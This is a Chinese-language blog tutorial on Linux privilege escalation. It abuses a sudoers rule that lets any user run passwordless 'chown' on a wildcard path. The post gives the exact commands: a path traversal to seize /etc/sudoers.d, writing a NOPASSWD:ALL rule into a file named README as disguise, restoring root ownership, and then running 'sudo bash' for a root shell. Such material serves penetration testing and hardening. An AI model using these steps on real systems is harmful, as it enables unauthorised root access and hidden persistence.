Linux提权之sudoers文件提权

S1naG0u Lv2

利用条件

需要在sudoers文件内配置

ALL ALL=(root) NOPASSWD: /bin/chown * /opt/applog/*

也就是所有人可以无密码执行chown命令和访问/opt/applog/*目录,这里我目录可以是其他目录

使用sudo -l 命令可以查看当前用户可以执行的命令:

提权步骤:

待提权用户如图:

如果可以利用这个 jboss 用户在 sudoers.d 目录下面的文件设置 jboss ALL=(ALL) NOPASSWD:ALL 即可实现jboss无需密码执行任意命令

此目录在centos中初始为空

  1. 由于任意用户都可以使用chown,所以 jboss 可以使用chown 设置这个目录为 jboss 所有
    sudo chown jboss:jboss /opt/applog/../../etc/sudoers.d/
    这里需要搭配 jboss 无需密码即可访问的 /opt/applog 进行一次提权

    执行成功
  2. 将 jboss ALL=(ALL) NOPASSWD:ALL 写入 sudoers.d 目录下的文件中,这里选择新建并写入一个README中进行伪装,注意:Centos中这个目录下无文件,但是Ubuntu中初始就存在README文件,需要写入到其他文件中
    echo ‘jboss ALL=(ALL) NOPASSWD: ALL’ > /etc/sudoers.d/README

    写入成功
  3. 由于想要利用 sudo 执行命令还需要使 root 用户可以读取到这个 sudoers.d 目录及其下面的东西,所以要将所有权限还给root
    sudo chown root:root /opt/applog/../../etc/sudoers.d/README
    sudo chown root:root /opt/applog/../../etc/sudoers.d/
  4. 此时 jboss 用户就可以无密码利用sudo运行命令了,使用sudo bash 获取root的shell:
  • 标题: Linux提权之sudoers文件提权
  • 作者: S1naG0u
  • 创建于 : 2025-07-19 00:00:00
  • 更新于 : 2025-08-27 17:22:48
  • 链接: https://s1nag0u.github.io/2025/07/19/Linux提权之sudoers文件提权/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
Linux提权之sudoers文件提权